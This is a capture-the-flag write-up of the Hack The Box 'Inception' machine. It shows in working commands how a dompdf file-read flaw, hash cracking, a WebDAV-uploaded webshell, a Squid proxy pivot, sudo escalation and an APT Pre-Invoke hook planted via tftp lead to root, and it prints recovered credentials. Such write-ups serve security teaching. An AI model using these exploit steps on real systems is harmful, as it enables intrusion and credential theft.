---
search:
  exclude: true
---
# Inception Writeup

![](img/16.png)

## Introduction :

Inception is a Medium Linux box released back in December 2017.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
      λ nihilist [ 10.10.14.11/23 ] [~]
      → nmap -F --top-ports 10000 10.10.10.67 -v
      Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 07:55 GMT
      Initiating Ping Scan at 07:55
      Scanning 10.10.10.67 [2 ports]
      Completed Ping Scan at 07:55, 0.09s elapsed (1 total hosts)
      Initiating Parallel DNS resolution of 1 host. at 07:55
      Completed Parallel DNS resolution of 1 host. at 07:55, 0.03s elapsed
      Initiating Connect Scan at 07:55
      Scanning 10.10.10.67 [8320 ports]
      Discovered open port 80/tcp on 10.10.10.67
      Discovered open port 3128/tcp on 10.10.10.67
      Completed Connect Scan at 07:56, 26.46s elapsed (8320 total ports)
      Nmap scan report for 10.10.10.67
      Host is up (0.091s latency).
      Not shown: 8318 filtered ports
      PORT     STATE SERVICE
      80/tcp   open  http
      3128/tcp open  squid-http
    
      Read data files from: /usr/bin/../share/nmap
      Nmap done: 1 IP address (1 host up) scanned in 26.68 seconds
    
      λ nihilist [ 10.10.14.11/23 ] [~]
      → nmap -sCV -p80,3128 10.10.10.67
      Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-08 07:56 GMT
      Nmap scan report for 10.10.10.67
      Host is up (0.094s latency).
    
      PORT     STATE SERVICE    VERSION
      80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
      |_http-server-header: Apache/2.4.18 (Ubuntu)
      |_http-title: Inception
      3128/tcp open  http-proxy Squid http proxy 3.5.12
      |_http-server-header: squid/3.5.12
      |_http-title: ERROR: The requested URL could not be retrieved
    
      Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
      Nmap done: 1 IP address (1 host up) scanned in 43.23 seconds
    
    

## **Part 2 : Getting User Access**

Our nmap scan picked up port 80 running http so let's use gobuster to enumerate it :
    
    
      λ nihilist [ 10.10.14.11/23 ] [~]
    → gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.67
    ===============================================================
    Gobuster v3.0.1
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
    ===============================================================
    [+] Url:            http://10.10.10.67
    [+] Threads:        10
    [+] Wordlist:       /usr/share/wordlists/dirb/big.txt
    [+] Status codes:   200,204,301,302,307,401,403
    [+] User Agent:     gobuster/3.0.1
    [+] Timeout:        10s
    ===============================================================
    2020/03/08 07:56:11 Starting gobuster
    ===============================================================
    /.htaccess (Status: 403)
    /.htpasswd (Status: 403)
    /assets (Status: 301)
    /dompdf (Status: 301)
    /images (Status: 301)
    Progress: 10069 / 20470 (49.19%)^C
    

` ![](prg/16_001.png)
    
    
      λ nihilist [ 10.10.14.11/23 ] [~]
    → curl -sk http://10.10.10.67/dompdf/VERSION
    0.6.0
    

Now that we know about dompdf's version we run a quick searchsploit command to find publicly available exploits for us : 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~]
    → searchsploit dompdf 0.6
    ------------------------------------------------------- ------------------------------
     Exploit Title                                         |  Path
                                                           | (/usr/share/exploitdb/)
    ------------------------------------------------------- ------------------------------
    dompdf 0.6.0 - 'dompdf.php?read' Arbitrary File Read   | exploits/php/webapps/33004.txt
    dompdf 0.6.0 beta1 - Remote File Inclusion             | exploits/php/webapps/14851.txt
    ------------------------------------------------------- ------------------------------
    Shellcodes: No Result
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception]
    → locate 33004.txt
    /usr/share/exploitdb/exploits/php/webapps/33004.txt
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception]
    → cp /usr/share/exploitdb/exploits/php/webapps/33004.txt .
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception]
    → nano 33004.txt
    

Looking at the exploit we seem to be able to get arbitrary file read on the dompdf.php file using a psecific string : 
    
    
    http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd
    
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception]
      → curl http://10.10.10.67/dompdf/dompdf.php\?input_file\=php://filter/read\=convert.base64-encode/resource\=/etc/passwd
      %PDF-1.3
      1 0 obj
      << /Type /Catalog
      /Outlines 2 0 R
      /Pages 3 0 R >>
      endobj
      2 0 obj
      << /Type /Outlines /Count 0 >>
      endobj
      3 0 obj
      << /Type /Pages
      /Kids [6 0 R
      ]
      /Count 1
      /Resources <<
      /ProcSet 4 0 R
      /Font <<
      /F1 8 0 R
      >>
      >>
      /MediaBox [0.000 0.000 612.000 792.000]
       >>
      endobj
      4 0 obj
      [/PDF /Text ]
      endobj
      5 0 obj
      <<
      /Creator (DOMPDF)
      /CreationDate (D:20200308071455+00'00')
      /ModDate (D:20200308071455+00'00')
      >>
      endobj
      6 0 obj
      << /Type /Page
      /Parent 3 0 R
      /Contents 7 0 R
      >>
      endobj
      7 0 obj
      <<
      /Length 1894 >>
      stream
    
      0.000 0.000 0.000 rg
      BT 34.016 734.579 Td /F1 12.0 Tf  [( )] TJ ET
      endstream
      endobj
      8 0 obj
      << /Type /Font
      /Subtype /Type1
      /Name /F1
      /BaseFont /Times-Roman
      /Encoding /WinAnsiEncoding
      >>
      endobj
      xref
      0 9
      0000000000 65535 f
      0000000008 00000 n
      0000000073 00000 n
      0000000119 00000 n
      0000000273 00000 n
      0000000302 00000 n
      0000000416 00000 n
      0000000479 00000 n
      0000002425 00000 n
      trailer
      <<
      /Size 9
      /Root 1 0 R
      /Info 5 0 R
      >>
      startxref
      2535
      %%EOF
    
    

Decoding the base64 string using **echo 'b64string' | base64 -d** we get the contents of /etc/passwd:
    
    
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
    systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
    systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
    systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
    syslog:x:104:108::/home/syslog:/bin/false
    _apt:x:105:65534::/nonexistent:/bin/false
    sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
    cobb:x:1000:1000::/home/cobb:/bin/bash
    

As you can see, this can be long and tedious to trim the excessive amount of data to then decode a b64 string. so we'll use [absolobomb's](https://www.absolomb.com/2018-04-14-HackTheBox-Inception/) python script to speed it up : 
    
    
    #!/usr/bin/env python3
    import base64
    import urllib.request
    import argparse
    
    parser = argparse.ArgumentParser()
    parser.add_argument("file")
    args = parser.parse_args()
    
    
    url = 'http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource='
    
    try:
    	req = urllib.request.urlopen(url + args.file)
    
    	output = req.read()
    
    	if output:
    		string = output.decode()
    		result = string[string.find("[(")+2:string.find(")]")]
    		decoded = base64.b64decode(result).decode('utf8')
    		print(decoded)
    
    except urllib.error.HTTPError:
    	print("File cannot be downloaded")
    
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception]
      → nano absolobomb_rocks.py
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception]
      → chmod +x absolobomb_rocks.py
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception]
    → ./absolobomb_rocks.py /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
    systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
    systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
    systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
    syslog:x:104:108::/home/syslog:/bin/false
    _apt:x:105:65534::/nonexistent:/bin/false
    sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
    cobb:x:1000:1000::/home/cobb:/bin/bash
    
    

Since we are on an apache2 website, let's try and print out it's default configuration: 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception]
      → ./absolobomb_rocks.py /etc/apache2/sites-enabled/000-default.conf
      <****VirtualHost *:80>
      	# The ServerName directive sets the request scheme, hostname and port that
      	# the server uses to identify itself. This is used when creating
      	# redirection URLs. In the context of virtual hosts, the ServerName
      	# specifies what hostname must appear in the request's Host: header to
      	# match this virtual host. For the default virtual host (this file) this
      	# value is not decisive as it is used as a last resort host regardless.
      	# However, you must set it for any further virtual host explicitly.
      	#ServerName www.example.com
    
      	ServerAdmin webmaster@localhost
      	DocumentRoot /var/www/html
    
      	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
      	# error, crit, alert, emerg.
      	# It is also possible to configure the loglevel for particular
      	# modules, e.g.
      	#LogLevel info ssl:warn
    
      	ErrorLog ${APACHE_LOG_DIR}/error.log
      	CustomLog ${APACHE_LOG_DIR}/access.log combined
    
      	# For most configuration files from conf-available/, which are
      	# enabled or disabled at a global level, it is possible to
      	# include a line for only one particular virtual host. For example the
      	# following line enables the CGI configuration for this host only
      	# after it has been globally disabled with "a2disconf".
      	#Include conf-available/serve-cgi-bin.conf
      	Alias /webdav_test_inception /var/www/html/webdav_test_inception <****Location /webdav_test_inception>
      		Options FollowSymLinks
      		DAV On
      		AuthType Basic
      		AuthName "webdav test credential"
      		AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
      		Require valid-user <****/Location> <****/VirtualHost>
    
      # vim: syntax=apache ts=4 sw=4 sts=4 sr noet

From this configuration file we see a path to the webdav directory, so let's go and grab the passwd file : 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception]
      → ./absolobomb_rocks.py /var/www/html/webdav_test_inception/webdav.passwd
      webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception]
      → hash-identifier
         #########################################################################
         #     __  __                     __           ______    _____           #
         #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
         #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
         #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
         #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
         #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
         #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
         #                                                             By Zion3R #
         #                                                    www.Blackploit.com #
         #                                                   Root@Blackploit.com #
         #########################################################################
      --------------------------------------------------
       HASH: $apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0
    
      Possible Hashs:
      [+] MD5(APR)
    

According to Hash-Identifier the hash we found is MD5.
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception]
      → ./absolobomb_rocks.py /var/www/html/webdav_test_inception/webdav.passwd > inception.txt
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception]
    → hashcat -m 1600 -a 0 inception.txt /usr/share/wordlists/rockyou.txt
    hashcat (v5.1.0) starting...
    
    Dictionary cache hit:
    * Filename..: .\rockyou.txt
    * Passwords.: 14343296
    * Bytes.....: 139921497
    * Keyspace..: 14343296
    
    $apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0:babygurl69
    

And using rockyou.txt we found the password **babygurl69**. For this next part we will upload [phpbash](https://github.com/Arrexel/phpbash) which is a semi-interactive webshell made by [Arrexel](https://app.hackthebox.eu/profile/2904) which we already encountered on a previous box named [Bashed](https://blog.nowhere.moe/htb/easy/15). We will upload it using the credentials we found with cadaver : 
    
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Inception]
    → cadaver http://10.10.10.67/webdav_test_inception/
    Authentication required for webdav test credential on server `10.10.10.67':
    Username: webdav_tester
    Password:
    dav:/webdav_test_inception/> put phpbash.php
    Uploading phpbash.php to `/webdav_test_inception/phpbash.php':
    Progress: [=============================>] 100.0% of 11251 bytes succeeded.
    dav:/webdav_test_inception/>
    

So we browse to our phpbash shell at _http://10.10.10.67/webdav_test_inception/phpbash.php_

![](prg/16_002.png)
    
    
      www-data@Inception
    :/var/www/html/webdav_test_inception# ls
    
    phpbash.php
    webdav.passwd
    www-data@Inception
    :/var/www/html/webdav_test_inception# cd ..
    
    www-data@Inception
    :/var/www/html# ls
    
    LICENSE.txt
    README.txt
    assets
    dompdf
    images
    index.html
    latest.tar.gz
    webdav_test_inception
    wordpress_4.8.3
    www-data@Inception
    :/var/www/html# cd wordpress_4.8.3
    
    www-data@Inception
    :/var/www/html/wordpress_4.8.3# ls
    
    phpbash.php
    webdav.passwd
    

we are logged in as www-data so let's see if we can print out user.txt : 
    
    
      www-data@Inception
    :/var/www/html/wordpress_4.8.3# id
    
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    www-data@Inception
    :/var/www/html/wordpress_4.8.3# cd /home
    
    www-data@Inception
    :/home# ls
    
    cobb
    www-data@Inception
    :/home# cd cobb
    
    www-data@Inception
    :/home/cobb# ls
    
    user.txt
    www-data@Inception
    :/home/cobb# cat user.txt
    
    cat: user.txt: Permission denied
    

And we get permission denied so we need to find a way to privesc to the cobb user. Looking into /var/www/html/wordpress_4.8.3 we print out the contents of wp-config.php :
    
    
      www-data@Inception:/var/www/html/wordpress_4.8.3# cat wp-config.php
    
    /**
    * The base configuration for WordPress
    *
    * The wp-config.php creation script uses this file during the
    * installation. You don't have to use the web site, you can
    * copy this file to "wp-config.php" and fill in the values.
    *
    * This file contains the following configurations:
    *
    * * MySQL settings
    * * Secret keys
    * * Database table prefix
    * * ABSPATH
    *
    * @link https://codex.wordpress.org/Editing_wp-config.php
    *
    * @package WordPress
    */
    
    // ** MySQL settings - You can get this info from your web host ** //
    /** The name of the database for WordPress */
    define('DB_NAME', 'wordpress');
    
    /** MySQL database username */
    define('DB_USER', 'root');
    
    /** MySQL database password */
    define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4');
    
    /** MySQL hostname */
    define('DB_HOST', 'localhost');
    
    

And we have credentials : root:VwPddNh7xMZyDQoByQL4 although we can't connect to ssh on the box yet. We already know that the squid proxy allows us to pass traffic through it, so we can try to enumerate the box THROUGH the proxy to see if ssh is open. so we'll use the **squid_pivot_scanning** metasploit module.
    
    
      msf5 > use auxiliary/scanner/http/squid_pivot_scanning
    
      msf5 auxiliary(scanner/http/squid_pivot_scanning) > set RPORT 3128
      RPORT => 3128
    
      msf5 auxiliary(scanner/http/squid_pivot_scanning) > set RHOSTS 10.10.10.67
      RHOSTS => 10.10.10.67
    
      msf5 auxiliary(scanner/http/squid_pivot_scanning) > set RANGE 127.0.0.1
      RANGE => 127.0.0.1
    
      msf5 auxiliary(scanner/http/squid_pivot_scanning) > set PORTS 21,80,139,443,445,1433,1521,1723,3389,8080,9100,22
      PORTS => 21,80,139,443,445,1433,1521,1723,3389,8080,9100,22
    
      msf5 auxiliary(scanner/http/squid_pivot_scanning) > run
    

Looking at the results : 
    
    
      [+] [10.10.10.67] 127.0.0.1 is alive but 21 is CLOSED
    [+] [10.10.10.67] 127.0.0.1:22 seems OPEN
    [+] [10.10.10.67] 127.0.0.1:80 seems OPEN
    [+] [10.10.10.67] 127.0.0.1 is alive but 139 is CLOSED
    [+] [10.10.10.67] 127.0.0.1 is alive but 445 is CLOSED
    [+] [10.10.10.67] 127.0.0.1 is alive but 1433 is CLOSED
    [+] [10.10.10.67] 127.0.0.1 is alive but 1521 is CLOSED
    [+] [10.10.10.67] 127.0.0.1 is alive but 1723 is CLOSED
    [+] [10.10.10.67] 127.0.0.1 is alive but 3389 is CLOSED
    [+] [10.10.10.67] 127.0.0.1 is alive but 8080 is CLOSED
    [+] [10.10.10.67] 127.0.0.1 is alive but 9100 is CLOSED
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    

SSH seems to be opened through the proxy, But to get ourselves to access it we need to use corkscrew and edit our local /etc/ssh/ssh_config to add a ProxyCommand. 
    
    
        λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Inception]
        → echo 'ProxyCommand corkscrew 10.10.10.67 3128 %h %p' >> /etc/ssh/ssh_config
    
        λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Inception]
        → ssh cobb@127.0.0.1
        The authenticity of host '127.0.0.1 ()' can't be established.
        ECDSA key fingerprint is SHA256:dr5DOURssJH5i8VbjPxvbeM+e2FyMqJ8DGPB/Lcv1Mw.
        Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
        Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
        cobb@127.0.0.1's password:
        Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)
    
         * Documentation:  https://help.ubuntu.com
         * Management:     https://landscape.canonical.com
         * Support:        https://ubuntu.com/advantage
        Last login: Thu Nov 30 20:06:16 2017 from 127.0.0.1
    
        cobb@Inception:~$ id
        uid=1000(cobb) gid=1000(cobb) groups=1000(cobb),27(sudo)
    
        cobb@Inception:~$ cat user.txt
        4aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
      

And that's it ! we have been able to print out the user flag. 

## **Part 3 : Getting Root Access**

In order to gain root privileges on the box it is very straightforward, but that's not an easy box as you can see : 
    
    
      cobb@Inception:~$ sudo -l
    [sudo] password for cobb:
    Matching Defaults entries for cobb on Inception:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
    User cobb may run the following commands on Inception:
        (ALL : ALL) ALL
    

Running sudo -l we see that we are able to run /bin/bash as sudo to privesc immediately, so let's do it : 
    
    
    cobb@Inception:~$ sudo bash
    root@Inception:~# id
    uid=0(root) gid=0(root) groups=0(root)
    root@Inception:~# cat /root/root.txt
    You're waiting for a train. A train that will take you far away. Wake up to find root.txt.
    

And we became root ! But our root flag isn't there , so let's check out which ports are opened from within the box : 
    
    
      root@Inception:~# netstat -ant
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State
    tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
    tcp        0      0 127.0.0.1:22            127.0.0.1:48514         ESTABLISHED
    tcp        0      0 127.0.0.1:48514         127.0.0.1:22            ESTABLISHED
    tcp6       0      0 :::80                   :::*                    LISTEN
    tcp6       0      0 :::22                   :::*                    LISTEN
    tcp6       0      0 :::3128                 :::*                    LISTEN
    tcp6       0    556 192.168.0.10:3128       192.168.0.1:59898       ESTABLISHED
    
    root@Inception:~# which nc
    /bin/nc
    
    root@Inception:~# nc -zv 192.168.0.1 1-65535 2>&1 | grep -v "refused"
    Connection to 192.168.0.1 21 port [tcp/ftp] succeeded!
    Connection to 192.168.0.1 22 port [tcp/ssh] succeeded!
    Connection to 192.168.0.1 53 port [tcp/domain] succeeded!
    

Looking at the output of the netstat command we see that we have another local ip address to work with : **192.168.0.1** So we use the netcat binary on the machine to scan it's opened ports and we find the ftp port opened , checking it out : 
    
    
      root@Inception:~# ftp 192.168.0.1
      Connected to 192.168.0.1.
      220 (vsFTPd 3.0.3)
      Name (192.168.0.1:cobb): anonymous
      331 Please specify the password.
      Password:
      230 Login successful.
      Remote system type is UNIX.
      Using binary mode to transfer files.
      ftp> ls
      200 PORT command successful. Consider using PASV.
      150 Here comes the directory listing.
      drwxr-xr-x    2 0        0            4096 Nov 30  2017 bin
      drwxr-xr-x    3 0        0            4096 Nov 30  2017 boot
      drwxr-xr-x   19 0        0            3920 Mar 08 06:47 dev
      drwxr-xr-x   93 0        0            4096 Nov 30  2017 etc
      drwxr-xr-x    2 0        0            4096 Nov 06  2017 home
      lrwxrwxrwx    1 0        0              33 Nov 30  2017 initrd.img -> boot/initrd.img-4.4.0-101-generic
      lrwxrwxrwx    1 0        0              32 Nov 06  2017 initrd.img.old -> boot/initrd.img-4.4.0-98-generic
      drwxr-xr-x   22 0        0            4096 Nov 30  2017 lib
      drwxr-xr-x    2 0        0            4096 Oct 30  2017 lib64
      drwx------    2 0        0           16384 Oct 30  2017 lost+found
      drwxr-xr-x    3 0        0            4096 Oct 30  2017 media
      drwxr-xr-x    2 0        0            4096 Aug 01  2017 mnt
      drwxr-xr-x    2 0        0            4096 Aug 01  2017 opt
      dr-xr-xr-x  205 0        0               0 Mar 08 06:47 proc
      drwx------    6 0        0            4096 Nov 08  2017 root
      drwxr-xr-x   26 0        0             920 Mar 08 06:47 run
      drwxr-xr-x    2 0        0           12288 Nov 30  2017 sbin
      drwxr-xr-x    2 0        0            4096 Apr 29  2017 snap
      drwxr-xr-x    3 0        0            4096 Nov 06  2017 srv
      dr-xr-xr-x   13 0        0               0 Mar 08 06:47 sys
      drwxrwxrwt   10 0        0            4096 Mar 08 08:30 tmp
      drwxr-xr-x   10 0        0            4096 Oct 30  2017 usr
      drwxr-xr-x   13 0        0            4096 Oct 30  2017 var
      lrwxrwxrwx    1 0        0              30 Nov 30  2017 vmlinuz -> boot/vmlinuz-4.4.0-101-generic
      lrwxrwxrwx    1 0        0              29 Nov 06  2017 vmlinuz.old -> boot/vmlinuz-4.4.0-98-generic
    

Once logged in as anonymous , we find the crontab file : 
    
    
      ftp> cd /etc
      250 Directory successfully changed.
    
      ftp> get crontab
    local: crontab remote: crontab
    200 PORT command successful. Consider using PASV.
    150 Opening BINARY mode data connection for crontab (826 bytes).
    226 Transfer complete.
    826 bytes received in 0.00 secs (4.3046 MB/s)
    
    
    

So we copy 192.168.0.1's crontab file into 10.10.10.67, to examine it : 
    
    
      ftp> exit
    221 Goodbye.
    root@Inception:~# cat crontab
    # /etc/crontab: system-wide crontab
    # Unlike any other crontab you don't have to run the `crontab'
    # command to install the new version when you edit this file
    # and files in /etc/cron.d. These files also have username fields,
    # that none of the other crontabs do.
    
    SHELL=/bin/sh
    PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
    
    # m h dom mon dow user	command
    17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
    25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
    47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
    52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
    */5 *	* * *	root	apt update 2>&1 >/var/log/apt/custom.log
    30 23	* * *	root	apt upgrade -y 2>&1 >/dev/null
    

Looking at what we have here, we see that every 5 minutes apt update is running. What's important here is that we are able to run commands everytime apt-update runs by placing our file inside /etc/apt/apt.conf.d/
    
    
      root@Inception:~# ssh-keygen
    Generating public/private rsa key pair.
    Enter file in which to save the key (/root/.ssh/id_rsa):
    Created directory '/root/.ssh'.
    Enter passphrase (empty for no passphrase):
    Enter same passphrase again:
    Your identification has been saved in /root/.ssh/id_rsa.
    Your public key has been saved in /root/.ssh/id_rsa.pub.
    The key fingerprint is:
    SHA256:Qm6bKYD4Jeq/STACtAJFV4D/PdwvPV6owjoUtFA5uT8 root@Inception
    The key's randomart image is:
    +---[RSA 2048]----+
    |.+o.o+oo         |
    |o o.. =          |
    |o. . o.+         |
    |+.  .o+          |
    |+oo ..+=S.       |
    |.oo+ .o=E .  .   |
    |. ....+. o o. .  |
    |. . ... o ..+.   |
    | ..+. .o ..o..   |
    +----[SHA256]-----+
    
    

So first we generate a ssh key inside 10.10.10.67 to then put it into 192.168.0.1's /root/.ssh/authorized_keys 
    
    
      root@Inception:~# ftp 192.168.0.1
      Connected to 192.168.0.1.
      220 (vsFTPd 3.0.3)
      Name (192.168.0.1:cobb): anonymous
      331 Please specify the password.
      Password:
      230 Login successful.
      Remote system type is UNIX.
      Using binary mode to transfer files.
      ftp> put /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys
      local: /root/.ssh/id_rsa.pub remote: /root/.ssh/authorized_keys
      200 PORT command successful. Consider using PASV.
      550 Permission denied.
      ftp> exit
      221 Goodbye.
    

Didn't work, that's because we need to use tftp instead of ftp: 
    
    
      root@Inception:~# tftp 192.168.0.1
      tftp> put /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys
      Sent 397 bytes in 0.0 seconds
      tftp> exit
      ?Invalid command
      tftp> quit
      

Now that's done we need to get 192.168.0.1 to change our ssh public key with the correct permissions, we'll get this done by getting APT to execute our command as we planned earlier : 
    
    
    
      root@Inception:~# echo 'APT::Update::Pre-Invoke {"chmod 600 /root/.ssh/authorized_keys"};' > 00command
      root@Inception:~# tftp 192.168.0.1
      tftp> put 00command /etc/apt/apt.conf.d/00command
      Sent 67 bytes in 0.0 seconds
      tftp> quit
    
    

once that's done we wait 5 minutes and then ssh in as the root user : 
    
    
      root@Inception:~# ssh root@192.168.0.1
    Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
    0 packages can be updated.
    0 updates are security updates.
    
    
    Last login: Thu Nov 30 20:04:21 2017
    root@Inception:~# cat /root/root.txt
    8dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And that's it ! we have been able to print out the root flag. 

## **Conclusion**

Here we can see the progress graph :

![](img/16_graph.png)

